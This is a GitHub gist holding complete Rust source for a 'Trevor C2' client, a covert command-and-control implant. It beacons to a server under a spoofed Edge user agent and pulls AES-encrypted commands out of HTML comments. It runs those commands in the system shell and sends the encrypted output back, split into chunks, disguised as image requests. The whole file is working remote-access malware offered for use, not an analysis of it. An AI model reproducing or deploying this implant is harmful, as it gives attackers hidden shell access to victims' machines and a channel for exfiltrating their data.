Skip to content

Instantly share code, notes, and snippets.

@HackingLZ
Created June 24, 2025 15:24
Show Gist options
  • Save HackingLZ/f361ee20398faee1559e769ca000a0ac to your computer and use it in GitHub Desktop.
Save HackingLZ/f361ee20398faee1559e769ca000a0ac to your computer and use it in GitHub Desktop.
Trevor C2 Rust
use aes::Aes256;
use base64;
use cbc::{Decryptor, Encryptor};
use cbc::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
use hostname;
use rand::{Rng, RngCore};
use sha2::{Digest, Sha256};
use std::env;
use std::io::Read;
use std::process::{Command, Stdio};
use std::sync::Arc;
use std::{thread, time};
use reqwest::blocking::Client;
use reqwest::cookie::Jar;
use reqwest::header::USER_AGENT;
const SITE_URL: &str = "http://127.0.0.1";
const ROOT_PATH: &str = "/";
const IMAGES_PATH: &str = "/images";
const QUERY_KEY: &str = "guid";
const STUB: &str = "oldcss=";
const MIN_INTERVAL: u64 = 2;
const MAX_INTERVAL: u64 = 8;
const CHUNK_SIZE: usize = 2_000; // bytes per chunk
const CIPHER_KEY: &str = "Tr3v0rC2R0x@nd1s@w350m3#TrevorForget";
/// Microsoft Edge on Windows UA (Stable 137.0.3296.93 as of 2025-06-20)
const UA_STRING: &str = concat!(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) ",
"AppleWebKit/537.36 (KHTML, like Gecko) ",
"Chrome/137.0.3296.93 Safari/537.36 ",
"Edg/137.0.3296.93"
);
fn sha256(data: &[u8]) -> [u8; 32] {
let mut h = Sha256::new();
h.update(data);
h.finalize().into()
}
fn encrypt(raw: &str, key: &[u8]) -> String {
let mut iv = [0u8; 16];
rand::thread_rng().fill_bytes(&mut iv);
let cipher = Encryptor::<Aes256>::new_from_slices(key, &iv).unwrap();
let ct = cipher.encrypt_padded_vec_mut::<Pkcs7>(raw.as_bytes());
let mut out = Vec::with_capacity(16 + ct.len());
out.extend_from_slice(&iv);
out.extend_from_slice(&ct);
base64::encode(out)
}
fn decrypt(data: &str, key: &[u8]) -> Option<String> {
let decoded = base64::decode(data).ok()?;
if decoded.len() < 16 { return None; }
let (iv, ct) = decoded.split_at(16);
let cipher = Decryptor::<Aes256>::new_from_slices(key, iv).ok()?;
let pt = cipher.decrypt_padded_vec_mut::<Pkcs7>(ct).ok()?;
String::from_utf8(pt).ok()
}
fn random_interval() -> u64 {
rand::thread_rng().gen_range(MIN_INTERVAL..=MAX_INTERVAL)
}
fn connect_trevor(client: &Client, key: &[u8], hostname: &str) {
let url = format!("{}{}", SITE_URL, IMAGES_PATH);
loop {
let payload = encrypt(&format!("magic_hostname={}", hostname), key);
let wrapped = base64::encode(payload.as_bytes());
if client
.get(&url)
.header(USER_AGENT, UA_STRING)
.query(&[(QUERY_KEY, wrapped.as_str())])
.send()
.is_ok()
{
break;
}
thread::sleep(time::Duration::from_secs(1));
}
}
fn main() {
let hostname = hostname::get()
.unwrap_or_default()
.to_string_lossy()
.into_owned();
let key = sha256(CIPHER_KEY.as_bytes());
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.build()
.expect("failed to build HTTP client");
let is_windows = cfg!(target_os = "windows");
let shell_prog = if is_windows {
env::var("COMSPEC").unwrap_or_else(|_| "cmd".into())
} else {
env::var("SHELL").unwrap_or_else(|_| "/bin/sh".into())
};
let shell_flag = if is_windows { "/C" } else { "-c" };
connect_trevor(&client, &key, &hostname);
let root_url = format!("{}{}", SITE_URL, ROOT_PATH);
let images_url = format!("{}{}", SITE_URL, IMAGES_PATH);
loop {
let wait = random_interval();
thread::sleep(time::Duration::from_secs(wait));
let resp = match client
.get(&root_url)
.header(USER_AGENT, UA_STRING)
.send()
{
Ok(r) => r,
Err(_) => {
connect_trevor(&client, &key, &hostname);
continue;
}
};
let html = match resp.text() {
Ok(t) => t,
Err(_) => continue,
};
if let Some(raw_stub) = html
.split(&format!("<!-- {}", STUB))
.nth(1)
.and_then(|s| s.split("-->").next())
{
let part = raw_stub.trim();
if let Some(parsed) = decrypt(part, &key) {
if parsed != "nothing" && parsed.contains(&hostname) {
if let Some(cmd) = parsed.split(&format!("{}::::", hostname)).nth(1) {
match Command::new(&shell_prog)
.arg(shell_flag)
.arg(cmd)
.stdout(Stdio::piped())
.spawn()
{
Ok(mut child) => {
let mut buf = Vec::new();
if let Some(mut out) = child.stdout.take() {
out.read_to_end(&mut buf).unwrap();
}
let _ = child.wait();
let stdout = String::from_utf8_lossy(&buf);
let bytes = stdout.as_bytes();
if bytes.is_empty() {
let enc = encrypt(&format!("{}::::", hostname), &key);
let wrapped = base64::encode(enc.as_bytes());
let _ = client
.get(&images_url)
.header(USER_AGENT, UA_STRING)
.query(&[(QUERY_KEY, wrapped.as_str())])
.send();
} else {
let mut start = 0;
while start < bytes.len() {
let end = std::cmp::min(start + CHUNK_SIZE, bytes.len());
let slice = &bytes[start..end];
let slice_str = std::str::from_utf8(slice).unwrap_or("");
let enc = encrypt(&format!("{}::::{}", hostname, slice_str), &key);
let wrapped = base64::encode(enc.as_bytes());
let _ = client
.get(&images_url)
.header(USER_AGENT, UA_STRING)
.query(&[(QUERY_KEY, wrapped.as_str())])
.send();
start = end;
thread::sleep(time::Duration::from_millis(200));
}
}
}
Err(e) => {
let err_payload = format!("{}::::[error executing: {}]", hostname, e);
let enc = encrypt(&err_payload, &key);
let wrapped = base64::encode(enc.as_bytes());
let _ = client
.get(&images_url)
.header(USER_AGENT, UA_STRING)
.query(&[(QUERY_KEY, wrapped.as_str())])
.send();
}
}
}
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment